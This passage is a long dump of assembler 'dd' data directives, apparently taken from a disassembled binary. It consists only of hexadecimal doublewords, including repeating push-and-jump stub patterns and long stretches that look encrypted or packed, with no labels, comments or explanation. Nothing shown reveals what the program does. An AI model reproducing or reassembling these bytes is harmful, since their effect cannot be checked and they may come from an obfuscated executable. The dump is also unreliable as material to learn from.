		dd 4C4h, 88C8E900h, 0C10FFFFAh,	452290E1h, 72B2DFB6h, 24F43AB8h
		dd 0FFC50306h, 18601E0h, 3150CC44h, 78978A29h, 8AD6413Eh
		dd 3ED98525h, 0EE809h, 1E890000h, 0B60FAA4Eh, 0ECAA2D61h
		dd 0A8F05199h, 0BE8h, 5C911200h, 45A02B46h, 8818D50Ch
		dd 0CE9h, 0FF3D9600h, 0DFDCBA7h, 0B5802022h, 665A5B78h
		dd 924FC381h, 73F5C281h, 8A0F0000h, 3, 33CEBF0Fh, 75E580C0h
		dd 661034FFh, 0E95FF28Bh, 10h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah
		dd 1F990281h, 0C798EF81h, 880F5009h, 3,	81CABF0Fh, 28B0B1EFh
		dd 0EE966h, 6CFC0000h, 0D49AE719h, 33B05346h, 0B02BB609h
		dd 72DEEF81h, 5E90178h,	7000000h, 204CE9E0h, 66023C89h
		dd 8BDBA2B9h, 0D1E881F1h, 815BAF5Eh, 0AF5ECDC0h, 18E0F5Bh
		dd 0F5000000h, 8CD4F881h, 850FFFFFh, 0FFFFFF84h, 18A0Fh
		dd 0EBF80000h, 9E7D0079h, 0E2218CEFh, 0ABAFD60Fh, 4DB2979Fh
		dd 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h
		dd 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h,	0B98B204Ah
		dd 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h
		dd 594ACC48h, 713C33h, 57DB4D52h, 0B7D65EF3h, 0F600B79Bh
		dd 8995ABAFh, 56F0009Fh, 0B3D7C771h, 711800BEh,	0ADC4D756h
		dd 0E98173E2h, 0DCE93EABh, 6800000Eh, 624F7C1h,	0FA8745E9h
		dd 0F8C668FFh, 3BE90624h, 68FFFA87h, 624F993h, 0FA8731E9h
		dd 0FAC768FFh, 27E90624h, 68FFFA87h, 624FB5Dh, 0FA871DE9h
		dd 0FC0268FFh, 13E90624h, 68FFFA87h, 624FCE6h, 0FA8709E9h
		dd 0FD7868FFh, 0FFE90624h, 68FFFA86h, 624FE42h,	0FA86F5E9h
		dd 0FF0768FFh, 0EBE90624h, 68FFFA86h, 6250089h,	0FA86E1E9h
		dd 2B568FFh, 0D7E90625h, 68FFFA86h, 6250396h, 0FA86CDE9h
		dd 0E51C90FFh, 4FBAA6Eh, 20E1C98Dh, 3BC4E5A9h, 5BA600C4h
		dd 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh, 36FA7190h, 4E178E71h
		dd 0AB5129D5h, 0ACE419AEh, 0C8624539h, 0D3A1441Ch, 0CD32EA1Fh
		dd 4A110C2Eh, 0AA575111h, 1CD06206h, 0BE41688Bh, 8D16A31Ah
		dd 0D2B809E1h, 0C4E89C1Fh, 0F0B7C671h, 46F26B0Fh, 15EFBF31h
		dd 0D8780ABEh
		dd 25F1BF04h, 48F3EB6Ah, 9755B71h, 259Ch, 0BC7C2900h, 0A0F317EAh
		dd 0CD79F297h, 15F08128h, 0EF8F21D5h, 25F2C21Bh, 5FDC0281h
		dd 9745C1Ah, 0BAB3h, 0BC7C4000h, 0DA8214EBh, 5EA106B6h
		dd 678E18CCh, 832BBD42h, 0E994DDFh, 0AB3DC2E5h,	19CD5F03h
		dd 6DFA718Eh, 0E206FBADh, 0D3A57946h, 0D7287F1Fh, 0F40B9C60h
		dd 8E25E562h, 2D0A5D81h, 24B6495Ch, 0B35FD87Ch,	15F0B63Ah
		dd 3DA41BCFh, 721E97FAh, 1C14263Ah, 17A019CDh, 1CAE5357h
		dd 6A05074h, 0E6C084FBh, 59A4B41Bh, 891FFA66h, 0CA26Ah
		dd 0D9288400h, 0F8079E62h, 14EDBD81h, 2FD0D99Dh, 4FB2F4B8h
		dd 0CBD28CD8h, 0EBAF26DBh, 0CD047C8h, 2AEE659Ch, 420B827Dh
		dd 0AA451DC9h, 0A0D819AEh, 0A061452Dh, 0BD426529h, 85EA0E44h
		dd 4F1A896Eh, 0D5F9069Fh, 9411D15Eh, 7CE4476Bh,	0A16F47F3h
		dd 1C8B1FD3h, 0D2F6AAE3h, 5CD5B87Fh, 0F0810BB0h, 0F0B87815h
		dd 0DCCB7F11h, 225B7F23h, 683CDC6Eh, 0CE25F2C0h, 0EDAC8F4Fh
		dd 9745Dh, 0DEh, 9162458Dh, 0B648EC15h,	4B5D0339h, 0E51FD719h
		dd 3FC7BBBFh, 0BEE2DC9Ah, 0D769980Eh, 0D2C36A37h, 0C837701Fh
		dd 0E51A8D51h, 563BFC53h, 0D3B831DDh, 994D15EFh, 0BA456020h
		dd 7FB81F96h, 0D208910Ah, 0E1856689h, 0BFFF912Dh, 46E4D7FDh
		dd 0D134D0F4h, 7E1C1396h, 0D57149F5h, 50042C13h, 337333ACh
		dd 0DE1F55CEh, 6CB05C44h, 0BFFE3BB0h, 781C90DCh, 9050DD54h
		dd 15C5E918h, 0EF097091h, 6AFA66C9h, 0B9DB5D4h,	2D7F0000h
		dd 0C995DD4h, 0F2B87CF3h, 0D5D4980Fh, 0B7EFB32Ah, 0CD87D34Ah
		dd 0AC23DEC8h, 0CD44CBE8h, 0EB629F09h, 87F8027h, 421AC63Fh
		dd 0D519AEA9h, 61452A9Dh, 0D7F127A0h, 1C0C9362h, 0E471E80Ch
		dd 438387AEh, 22876665h, 651539DDh, 0B946BD42h,	79AC8430h
		dd 8B3F1FD3h, 62450467h, 50570B9Dh, 1AD36AFh, 1FD3A229h
		dd 0AF8733BCh, 421FD3A1h, 4FC6EA8Eh, 50E21F8Bh,	7DF40B9Ch
		dd 81B6165Fh, 2EE7930Ch, 0C315F082h, 7DC7C0Fh, 7A0D7CB4h
		dd 0B35FD8BDh, 1399DF66h, 39C6E3A3h, 9628DC15h,	1C95F83Fh
		dd 0BE590D70h, 0ACFABA19h, 97FCD480h, 0DB8F29BEh, 0E32C8737h
		dd 8C05A951h, 0AD24DBCCh, 0DA41BEE9h, 0FFCC6C0Ah, 0D07C9B31h
		dd 0B200000Ah, 0CC9007FAh, 0EBAF26D9h, 7CB42BFh, 22E65DA2h
		dd 0BA067D84h, 58A9FD00h, 79961DE1h, 976A3E02h,	0B44B5C20h
		dd 4FFB743Dh, 19AEA877h, 455FD20Ah, 64249D62h, 496BA45h
		dd 0ABFB8AADh, 339B256h, 575A1A1Ch, 0B831552Dh,	0F01E7F0Ch
		dd 0D148FC15h, 0E9BCCD6Ah, 38DC8416h, 286E13BFh, 5B1B1C0Fh
		dd 7921B34Ch, 0CFA343D5h, 0E32C1128h, 0F5A93BC4h, 80BF51BEh
		dd 0E240EDF1h, 0F9C07B63h, 340356C5h, 3527FFABh, 84BA2C11h
		dd 0AE3D2A3Dh, 62ACE93h, 3F6Dh,	95A2FA00h, 97DB8700h, 4215F0F0h
		dd 0CC8C158Eh, 0AC25DCh, 25F2F028h, 33E307BBh, 65158C75h
		dd 25F2EF93h, 88FF00A7h, 0A41DE4C4h, 0C67F826Eh, 0ED117FEBh
		dd 8A1EDE5Bh, 0FC385377h, 0C1000009h, 870095A2h, 0F65829DBh
		dd 8700B415h, 0A61FE0C7h, 0E584A70h, 0FD21351Bh, 45E5C286h
		dd 9B3810BCh, 17CB25F8h, 0F89BA37Bh, 0DE823625h, 4F42F54Ch
		dd 52212AD6h, 0E2961C1Bh, 7FFEA969h, 8816D050h,	73EA8EC2h
		dd 7507F8AFh, 0FB74191Eh, 39DE9A4Fh, 0C732722h,	0E44EE5EEh
		dd 9CA4C359h, 7E000009h, 985CD32Eh, 0B77BF20Dh,	0D3970EF3h
		dd 0EEB229D6h, 86D249B8h, 24DDC9CCh, 45CAE9ADh,	639E0ACEh
		dd 807F28ECh, 1BC74009h, 19AEA743h, 7C2B9ED6h, 39B7746h
		dd 0FFA8A544h, 9C385C00h, 1FD389C8h, 287FFE39h,	0EBA33D7h
		dd 15F63FFDh, 350DB942h, 0C825F87Eh, 3B7F014h, 6741018Ah
		dd 0E1C6769Ah, 701CA51Eh, 25F87E98h, 0DC53772Bh, 0DE708F18h
		dd 64DDB087h, 15892BB8h, 0FDA8681Ch, 44467002h,	35C83022h
		dd 114A6E12h, 931AF65Dh, 0A339FA65h, 90684h, 3DC4E800h
		dd 5CA302C6h, 788921E5h, 936C3D01h, 0B34E581Ch,	2F36F03Ch
		dd 4F138A77h, 7034AB64h, 8E52C938h, 0A66FE619h,	0A6A9812Dh
		dd 43C19AEh, 1B624591h,	5C0FC593h, 0A75A5034h, 50CD5F03h
		dd 5AEC2390h, 0C9DE8EB2h, 0E873A436h, 4E7445F6h, 2C99F094h
		dd 26000004h, 870095A2h, 0F91DE2C7h, 58B7D480h,	0A05415F6h
		dd 74689E27h, 709A041Eh, 23843458h, 6A165DCh, 0F3C767F9h
		dd 6425F856h, 0F45BED3h, 0BD92CA14h, 1E97BBECh,	14FDE572h
		dd 5162221Ch, 60842CBEh, 0BA0C7327h, 45FA65C2h,	86190AFh
		dd 69430000h, 485D2198h, 2E7C40B7h, 11985CD3h, 0F3B377EEh
		dd 914B970Eh, 70E71A8Ch, 910807ACh, 0AF26DBCDh,	0CC43BCEBh
		dd 6DE8A03h, 9919AEA6h,	0F37CEE61h, 0D3A16F47h,	2A4E021Fh
		dd 59D22D7Ah, 62F40D99h, 500496BAh, 0A62FA857h,	0D3A222FAh
		dd 0DD01B51Fh, 0D1911A4Bh, 8A0529D6h, 65440454h, 0A14119C5h
		dd 20D41FD3h, 0F1C0EA7Ch, 0DA4B79ABh, 33C9ED91h, 0F0946466h
		dd 36287h, 0B6C8FE00h, 0F9C5425Ah, 0DB248333h, 855954B7h
		dd 0F61FD3A1h, 9A654041h, 0B042BDEAh, 2BEB6408h, 73F0827Fh
		dd 0D3A1EFC7h, 2ACE821Fh, 43D52C7Ah, 52FE779Bh,	15F65783h
		dd 1BDB5408h, 38FC738Ch, 0D221846Fh, 0F29A2CD3h, 0C118AA4Eh
		dd 63AC0776h, 0C8529D1h, 15A1D360h, 1790501Ch, 11DD44E8h
		dd 0CFA6566h, 77D5776h,	4D5F0000h, 2C793DB4h, 12985CD3h
		dd 0F5B478EFh, 0D7CF930Ah, 0AD67B32Ah, 8C03FEA8h, 0AD24EBC8h
		dd 0CB42BFE9h, 0E85FA007h, 22FAA61Fh, 0B519AEA6h, 62450A7Dh
		dd 50570B9Dh, 61EC1DAFh, 6BA5DB7Dh, 217A0767h, 0F1C85E82h
		dd 1CF09454h, 2ABh, 0A18559A9h,	10D01FD3h, 2ED66897h, 0D80B70Ah
		dd 2DD4D494h, 56CFF39Bh, 0F657CEAAh, 0FDA96915h, 26CA7204h
		dd 45BAEDADh, 629D0ACEh, 0CBBE79D0h, 0A181A652h, 7A2E1C15h
		dd 6567DD13h, 83A238FAh, 6EBh, 0AB22DFCDh, 0CA41BEE7h
		dd 0E65DA406h, 1788722h, 2198693Dh, 94121BD5h, 8132F66Dh
		dd 5553178Eh, 367135ACh, 108952C9h, 0AEA48C64h,	74E71F19h
		dd 0B9D6245h, 572D5057h, 9A611373h, 19E6BF6Fh, 0E45FE375h
		dd 7F8027FAh, 9C634606h, 0C73E620Ah, 94205C1Dh,	0F71F0h
		dd 28E80000h, 0D6CF7F82h, 0DAA20529h, 1FFh, 0A1835963h
		dd 3BFC1FD3h, 4E31DD56h, 0BB15F657h, 0E8D0AFFBh, 6F5A7042h
		dd 0C26AFCA0h, 38B1659Eh, 4FFB2F78h, 25F85277h,	5CEE1393h
		dd 0A1C77BB4h, 0FF7EEFFCh, 0E259FD91h, 0E476891Eh, 5A32DE67h
		dd 0ED25F7F4h, 75C21539h, 0CCE7A720h, 0FAA61F43h, 1C14FED5h
		dd 0C367CE82h, 82FA65C2h, 621CDECh, 0A9030000h,	881DE158h
		dd 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh, 30A75A4Ch
		dd 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h,	5919AEA3h
		dd 6245AE21h, 50570B9Dh, 1E991DAFh, 0D1D898C0h,	0D0F49C2Eh
		dd 396C8720h, 0E9A922C6h, 0A81F43BCh, 94BCBBFEh, 752F0h
		dd 0DADF0000h, 13Fh, 0A1825963h, 4ED71FD3h, 0D3A1CAA2h
		dd 28D45D1Fh, 1FD3A150h, 678B2FE3h, 0F56E2314h,	5F37E36Ch
		dd 0F21FD3A1h, 0A1CAA23Eh, 0A95D1FD3h, 0B6600C85h, 0F115F657h
		dd 2FDA868h, 542CC870h,	0E725F897h, 0DF838C27h,	55CE82BBh
		dd 76ED1295h, 780AF5B2h, 0FA731621h, 15A1294Eh,	0BB22D61Ch
		dd 0FA656711h, 5C1736CCh, 3E000005h, 581C936Eh,	773BB24Dh
		dd 9357CE33h, 0AE72E916h, 469209F8h
		dd 0E41D898Ch, 50AA96Dh, 23DECA8Eh, 40BFE8ACh, 0DB8700C9h
		dd 19AEA303h, 45EB5E96h, 570B9D62h, 46732D50h, 478181EFh
		dd 61F31C97h, 0DC9C15B9h, 0FEA638D7h, 149448DAh, 0FFA75BEDh
		dd 71EC7002h, 0C540C06Dh, 267F3F19h, 827F29D9h,	0FAF9AE5Eh
		dd 19C153AEh, 554FE75h,	0C8F094F1h, 0DD89A108h,	1FD36105h
		dd 0AE40E498h, 60AD8531h, 8C401FD3h, 72BC4E8h, 0B8000000h
		dd 46DAh, 0BC7C6300h, 578113EEh, 6C13EC07h, 0A4C86CCDh
		dd 6A40B3F4h, 0B95D0597h, 0BF347327h, 88517E8h,	0D2D4845Ch
		dd 0BF63171Fh, 0F07F891Bh, 8B7433EEh, 3BE514h, 22580000h
		dd 0EC4D0BA1h, 16CAF055h, 97E112B0h, 4568CBEFh,	441CC862h
		dd 0D71FD3A1h, 0A1CAA24Eh, 0A95D1FD3h, 2FCF6105h, 1FD3A15Ah
		dd 0FE5A84FFh, 0F066BC8h, 9EC276BAh, 0CF46B9EEh, 9D624558h
		dd 0D9CE8E0Bh, 88AF0226h, 57038C05h, 1FD3A17Fh,	0F8AE5E12h
		dd 0ABCF7709h, 9720A932h, 0D3A213EBh, 56F2A61Fh, 1FD3A17Eh
		dd 9D395D11h, 15F657EBh, 0DF4B676h, 0B62FD37Bh,	7142B1F6h
		dd 0BF83FA9Eh, 2E8517E8h, 5F0B8409h, 1C1B4E56h,	0DE9E17CBh
		dd 0DDB561C9h, 702C1D8Dh, 0DDA118BCh, 4CA335CAh, 0A42DA6EBh
		dd 0A93BC6E4h, 8C41DD01h, 19223A6Ch, 935EFE65h,	6F05E44Fh
		dd 3DA50h, 11F0BC00h, 30CFD69Ah, 4CB5F5B9h, 679811D5h
		dd 877A2CF0h, 30AC410h,	23E75EA3h, 44087F90h, 62269D64h
		dd 7A43BA45h, 0A17D5501h, 0D81019AEh, 9D624565h, 0BA456226h
		dd 0CC337428h, 461ECA53h, 0D91FD3A1h, 0DE709119h, 0DC6E9236h
		dd 871FDF58h, 0BF6BE87Ah, 1FD3A1E7h, 0FC22C67Ah, 4D25796h
		dd 0F36E92FCh, 8E7136EBh, 32C6D17h, 21E1F094h, 0BD567A87h
		dd 3Dh,	95A24Ah, 7A52FE87h, 961FD3A1h, 0B25AEC13h, 8BDD4379h
		dd 0A7C69599h, 0BA66DF03h, 15F05876h, 0B8496121h, 0CDDB9B14h
		dd 3B0DBD34h, 4F25F257h, 6C30A758h, 1433C53Ch, 327h, 0F495A29Dh
		dd 11B94BB6h, 7748F46Dh, 0FC15F0A7h, 0F498773Ch, 6F9AE62h
		dd 1CF3C074h, 2ED1D68Ah, 10CE5D9Ch, 5688171Dh, 17A0F28h
		dd 0FAD8455h, 0DE55091Ch, 4CF8C077h, 2C11AD74h,	36AF5307h
		dd 2EB3B98Ah, 0F88A3E22h, 0D9F6244h, 76E2FC7Bh,	0EE12FDB6h
		dd 76779C9Bh, 42BC04D1h, 75219A3Eh, 284E4BA4h, 0C0416929h
		dd 8F18A51Ch, 4B825A06h, 61153850h, 504BEDC5h, 614A8038h
		dd 48F3DDF3h, 28D44DF1h, 38503350h, 5B0B2FE3h, 6D21B34Ch
		dd 14EDB93Ah, 0A592F970h, 65EE77F0h, 5033E1B9h,	0C03E7438h
		dd 0E184A445h, 52EE12B6h, 2E6CD83Dh, 0E48416CAh, 3E6ED810h
		dd 0ED7F8224h, 926F39h,	83AA34BFh, 338A625h, 11F072B6h
		dd 2C57h, 95A2E400h, 36DB8700h,	0E315F081h, 29FD9D2Fh
		dd 3D25F2C2h, 52069869h, 101AAC53h, 72D05D81h, 950EBF3h
		dd 0A409745Ch, 0C6h, 18467C31h,	5C93DCCAh, 6A3DED11h, 574F0395h
		dd 0FCA831AAh, 1FD38224h, 0DE8A03B7h, 1FD38206h, 2FC1E599h
		dd 41D32C7Bh, 6EE51A8Dh, 0D4AC58E1h, 671FD381h,	26F38FB3h
		dd 2C1FD386h, 490D847Bh, 0B80FA15Eh, 0E5910A7Fh, 15F09ABCh
		dd 7B047D31h, 0F299F7CFh, 0B2D68A25h, 2263D43Bh, 44EC7E91h
		dd 0A07B27A0h, 3D1C1409h, 56501089h, 367034ABh,	3E2664CBh
		dd 0CB61FA66h, 1AEACh, 0E51C9000h, 4FBAA6Eh, 20E1C98Dh
		dd 3BC4E5A9h, 5BA600C4h, 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh
		dd 36FA7190h, 4E178E71h, 9F5129D5h, 0ACE419AEh,	0A0614539h
		dd 0BF406727h, 0EA61852Dh, 57E8126h, 6487E6CFh,	294D3CAFh
		dd 95A23BB2h, 36DB8700h, 0A315F081h, 1B3FD0E3h,	0CA4ACE2h
		dd 0CCF9AE24h, 59199628h, 0F28EB24Fh, 25F2E11Eh, 62D90584h
		dd 9747D17h, 0F2E6A0D6h, 1B91DD82h, 0AB5EF7h, 15D50000h
		dd 0EA4D719Eh, 22916245h, 3B749EDh, 2CCC5EA3h, 1FD3A55Fh
		dd 46BD4265h, 48DA2582h, 0CA4346F1h, 0F0B9F51Eh, 3FB66A15h
		dd 4DB4F2B2h, 2C61D629h, 25C707B3h, 0A12A1C14h,	14651DF5h
		dd 8F70392Ch, 5C1C55FDh, 0EA0EB24Dh, 0C484FDB1h, 0E4A81FE2h
		dd 48D83FC2h, 0CBFA665Bh, 0CD1635h, 0FDAF0000h,	0DCC98D04h
		dd 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah, 0DC53AEF8h
		dd 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh,	519AE9Eh
		dd 61455ACDh, 426529A0h, 0FBB44BDh, 1FD3A137h, 0A206DE8Ah
		dd 0E5991FD3h, 5DD4F8ACh, 47F37CE6h, 1FD3A16Fh,	7A2A4E02h
		dd 78D9502Dh, 922E6A61h, 0FFA85CEEh, 73FC8900h,	0D393EFC7h
		dd 0E4C2821Fh, 3FE38B1Dh, 55E7188Fh, 13689ADh, 548A138Ch
		dd 9B89A289h, 0A13D61A2h, 15F646E7h, 0BF3CCE82h, 0C1D2B989h
		dd 7094F068h, 0A118E7C0h, 0A335CADDh, 6497FE03h, 8F4FDEC6h
		dd 69151592h, 5E86D791h, 55CC7024h, 57E91691h, 67F906A3h
		dd 998856D5h, 0B67AF10Eh, 5D7C0EF1h, 3,	4540A7E6h, 54089A67h
		dd 661AAC53h, 792DBF42h, 8F43D53Ah, 0A458EA17h,	0B96DFF02h
		dd 0C97D0FF0h, 0DA8E20E1h, 86A234CBh, 0A6768h, 48F5400h
		dd 24048124h, 4, 245E68h, 240C8900h, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 57241C89h, 27293868h, 0CF815F29h,	60C26605h
		dd 7888EF81h, 895063C2h, 58C189F8h, 1C8B545Fh, 4C48124h
		dd 51000000h, 8B242C81h, 8F64CA7Dh, 43810843h, 0CA7D8B08h
		dd 2434FF64h, 4C4815Bh,	0FF000000h, 81592434h, 4C4h, 7880E900h
		dd 913CFFFAh, 0C40B3646h, 0C8D8CABh, 0B861211Dh, 6250488h
		dd 0E0FFC503h, 1BBD289Eh, 64BB095Ah, 6CA3A3Dh, 46214B9Bh
		dd 18CBA78Dh, 7DCF131h,	58D46448h, 6860E8F9h, 4E0C26A2h
		dd 65C47CA3h, 2080D4Fh,	174567A1h, 2CF0512Dh, 4F794AEAh
		dd 0BB774C3h, 3F57C163h, 716E23A1h, 5BF90579h, 658E2C28h
		dd 665F73C2h, 763B102Fh, 2B1FC4A2h, 63A8D8Dh, 0B70F0625h
		dd 5D8D89DFh, 89061F0Bh, 1F1DC98Dh, 0C585C706h,	0EC061F20h
		dd 89000059h, 1F058985h, 7D85C706h, 61F13h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 63A6C350h, 66D78B66h, 0FF774EBEh,	1F1575B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0D3D39824h, 49178EFCh, 8585295Bh, 0E9061F00h
		dd 0Ch,	0B1EC02F2h, 8C085FEAh, 554303D8h, 2D5995FFh, 6A061Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0BBDA97C3h, 0F65E62Ch, 8166D23Bh, 6A8940F6h,	4595FF00h
		dd 8B061F1Dh, 3D0FEBC0h, 0A1AEEA46h, 0EF7C3DEh,	0A1B9702Ah
		dd 7DE92CF7h, 60000001h, 6C4FFE5Dh, 0D76FC201h,	0EFB4CAD1h
		dd 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h
		dd 93B9E4h, 0F49DB2CBh,	0FC9CACA3h, 0D2009EB9h,	73AFC945h
		dd 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh,	0C45657F6h
		dd 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh
		dd 0ACE56Ch, 100h, 43h dup(0)
		dd 3736D1F8h, 0D3C20DA4h, 388081Ch, 0F18E9h, 97F6800h
		dd 0EEE90625h, 68FFFB41h, 6250A5Bh, 0FB41E4E9h,	0BC868FFh
		dd 0DAE90625h, 68FFFB41h, 6250C83h, 0FB41D0E9h,	0D9268FFh
		dd 0C6E90625h, 68FFFB41h, 6250E68h, 0FB41BCE9h,	0F0D68FFh
		dd 0B2E90625h, 68FFFB41h, 6250FA3h, 0FB41A8E9h,	10B368FFh
		dd 9EE90625h, 68FFFB41h, 6251148h, 0FB4194E9h, 121368FFh
		dd 8AE90625h, 68FFFB41h, 62512CAh, 0FB4180E9h, 136A68FFh
		dd 76E90625h, 68FFFB41h, 62514B9h, 0FB416CE9h, 157968FFh
		dd 62E90625h, 39FFFB41h, 0DD3E9F70h, 7EDF40D7h,	2788E9BCh
		dd 0CE2F9007h, 0A9D738EDh, 0B36853C4h, 56C9F152h, 0FAAF94F5h
		dd 9C6D3899h, 477ADF3Bh, 0F7B320A7h, 0A43C8128h, 2C850881h
		dd 239BCF0Bh, 0FA887C8Ch, 0A3DB095h, 0F18E1FE4h, 9D20F7B9h
		dd 7524D3FEh, 2965C014h, 25A48DC0h, 9EF3FBAFh, 0AD19836Bh
		dd 70A554F7h, 6467E5C3h, 87B24095h, 0D41E55D8h,	0DCF7AE05h
		dd 90DF1B3Ah, 0B5A10327h, 40h, 1A74B160h, 37237EB1h, 2576FBAFh
		dd 0D1FC8A1Dh, 0CAF2569Ch, 0AF0CF5h, 0DF0F4297h, 0F0F7ADD1h
		dd 0D730B341h, 7437A086h, 0CE6DF09Fh, 0D0F9F940h, 15B7F7ADh
		dd 0DFB5BAF6h, 9190A102h, 3B000000h, 850881A4h,	179A0F30h
		dd 0F3A4E3C2h, 3EB63F1Bh, 7BD05302h, 8E012BAAh,	0E93B7EDFh
		dd 38F18EE1h, 0DA3B9C6Dh, 88D942CBh, 0DD60EEA3h, 8DF69095h
		dd 0AFC8335Ah, 0D435E4FBh, 80E9A580h, 0CD76014Dh, 0BE27D601h
		dd 6CCD426Dh, 0F06B200Bh, 0E2FC4D4Eh, 0C348971Ah, 2500000Ch
		dd 0C122831Ch, 62C324FBh, 364C558h, 0A203643Bh,	75A30499h
		dd 871C1F10h, 2AFDC526h, 0CE4368C9h, 70390C6Dh,	1B4EB30Fh
		dd 0F7B321D3h, 0A4185D04h, 44A5069Bh, 0F647A861h, 791E7FA0h
		dd 0B6D0C054h, 3955D028h, 0E8BF7FD0h, 0E3BEF15Ah, 74FBAF8Dh
		dd 0E70B42C5h, 0C9F7AD60h, 0A3CC0827h, 78A1026Eh, 98C0327h
		dd 0B39DDC6Ah, 48000000h, 0B6694FA0h, 29E2C328h, 0B96E51A6h
		dd 1D25FF36h, 0A97CF18Eh, 71E7FE0h, 6ABB0386h, 2B5EB31Ch
		dd 0F18E1CC3h, 6ED76514h, 0AF0B523Bh, 0C6CE03FBh, 89D02AE5h
		dd 0B5F8F34Ch, 4EAD4E80h, 0ADF0D31Bh, 0A65504F7h, 683D8EF7h
		dd 0E0C71C9Fh, 8DEE7C2Bh, 39A2EC39h, 0CD7D5D06h, 66CF7E01h
		dd 14752A15h, 981388B3h, 0E2FC5820h, 0E7FA49CCh, 4900000Bh
		dd 0ED4EAF60h, 8EEF50C7h, 3798F9ACh, 0DE3FA077h, 0B9E748DDh
		dd 0C35863D4h, 66390162h, 0A9FA405h, 0AC7D48A9h, 578AEF4Bh
		dd 0F7B32297h, 0A44C9138h, 44A5069Bh, 0EE3FA861h, 0CEF257CEh
		dd 0A735D457h, 81A4F546h, 0D72C8508h, 8E184AA4h, 79DE8DF1h
		dd 0BE5DE0B7h, 31FACB30h, 0DDA97CD0h, 97CA1F74h, 0F18E1857h
		dd 0F43BC978h, 0FBAF0609h, 63BC3FEEh, 0F77A3312h, 85089DA2h
		dd 62A937E6h, 0F7AD2690h, 235F7E20h, 0A102354Ch, 6EF9h
		dd 74B1A400h, 0B37EB11Ah, 24FBAF2Ah, 0CC5766EFh, 8938C17Eh
		dd 9C23CF06h, 0EB8DF7ADh, 753A8BCCh, 0A352DBEAh, 0BEBEB115h
		dd 0C5DA102h, 49E86B22h, 397CBBh, 0A0270000h, 5F36FA4Bh
		dd 0F8F63DDCh, 0D7F18E17h, 24D34A72h, 0A7E73E96h, 78E0B3Eh
		dd 0F227FBAFh, 8B7C37B0h, 1B9E4DADh, 0ADD10EE4h, 0E100A2F7h
		dd 2DFCAA5h, 0C7BA1h, 0AA260000h, 83Eh,	59CCF041h, 4FA076CBh
		dd 0E035B86Fh, 25C447DEh, 9590E876h, 0D15D90F9h, 86FBA91Fh
		dd 81D6ED7h, 0E8BD1E7Fh, 0D1549C1Fh, 8A194CB5h,	2B01CE25h
		dd 0E3C2137Ch, 5D68C92Ah, 0E24263CCh, 3C682E2Eh, 0E931B442h
		dd 0FD909C3Ch, 0C32CDB7Ah, 8E6196Eh, 0C7F18EE2h, 1689B318h
		dd 1904188h, 9645FBB0h,	0DDF9CD1Bh, 87D659E4h, 0A7Ah, 0DB3CD5DCh
		dd 80E1B47Ah, 298A1D1Fh, 0D031E4C8h, 76D74C6Fh,	0C9F22548h
		dd 0AE92F354h, 0E3596F7h, 0CED73899h, 1B80DC3Dh, 0B32306E8h
		dd 0DD22C9F7h, 8E1930C2h, 0DBAB7AF1h, 1FFF3F72h, 9BD0FBA9h
		dd 5A3DA7C1h, 0E6F1E22h, 0BE956BBAh, 0A750F43Dh, 1B4EB766h
		dd 1CEDC1Bh, 1364CD7Ch,	618DC02Dh, 76F18ED3h, 218A18C7h
		dd 0D334F5D0h, 57DA5372h, 0F78160Fh, 0CC1D99BAh, 8795B195h
		dd 8E84AE40h, 0E47221F1h, 8A53487Bh, 45F4FBA9h,	0F1BA8BDCh
		dd 95162F90h, 8219DB12h, 909577B3h, 2B5A8DF6h, 0AE81D46Dh
		dd 79C82659h, 580771C8h, 75F09FCAh, 62F84DA9h, 0BFEB3ABDh
		dd 21000009h, 0C5268718h, 66C728FFh, 0F70D144h,	0B617782Fh
		dd 91BF20F5h, 9B703BFCh, 3ED1D93Ah, 0E2B77CDDh,	84052081h
		dd 2F62C723h, 0F7B324BFh, 0B1246910h, 7EB11A74h, 0FBA91EC0h
		dd 0A2F7600Fh, 35B86F51h, 82A30896h, 0EE43A809h, 1E886699h
		dd 9847F7B3h, 0B31E9D51h, 0F58332F7h, 71F4B590h, 2992FC29h
		dd 0E7BC83D4h, 0F037C564h, 1CE2442h, 0ACFD6615h, 0CB235699h
		dd 0CF18E18h, 0E84DAE5Dh, 2BF2F7C7h, 3FCDFDEBh,	0BF42CBDAh
		dd 77E0AE77h, 0A9A32F44h, 90F9A8FBh, 0A4208E6Fh, 74021334h
		dd 22EBBA0Bh, 0C44560C1h, 4BC7E841h, 0D6D39FC8h, 0EA084FDDh
		dd 0C0F7B377h, 8DC02965h, 1CE7CEDh, 0DFE6378Ch,	71E7074Eh
		dd 8AAEF18Eh, 0D439E813h, 7AA533EAh, 341162CBh,	94B11273h
		dd 2255AA13h, 0F18E71CCh, 4BCE5C0Bh, 0FB642203h, 0A9776EC8h
		dd 39A251FBh, 0CA4DC0E8h, 0D21A9D2Bh, 97CA3353h, 1D48836h
		dd 0B36DE897h, 0BFE2F842h, 8B0ED3Ch, 2F120000h,	8EB41576h
		dd 6B55B617h, 0CAF253B4h, 0AE91F253h, 1B6A98F9h, 15762B14h
		dd 0B8198CB4h, 5ABB5057h, 0FA5B2CF9h, 0E806399Eh, 0E7F7B325h
		dd 81A4FB40h, 15308508h, 0B701194h, 897795EAh, 3E04D4FEh
		dd 9645E467h, 0FA375608h, 0A101622Bh, 9AE3D5CEh, 777h
		dd 0BAA2200h, 55000005h, 28FD93BDh, 98A4F55Eh, 72D8205h
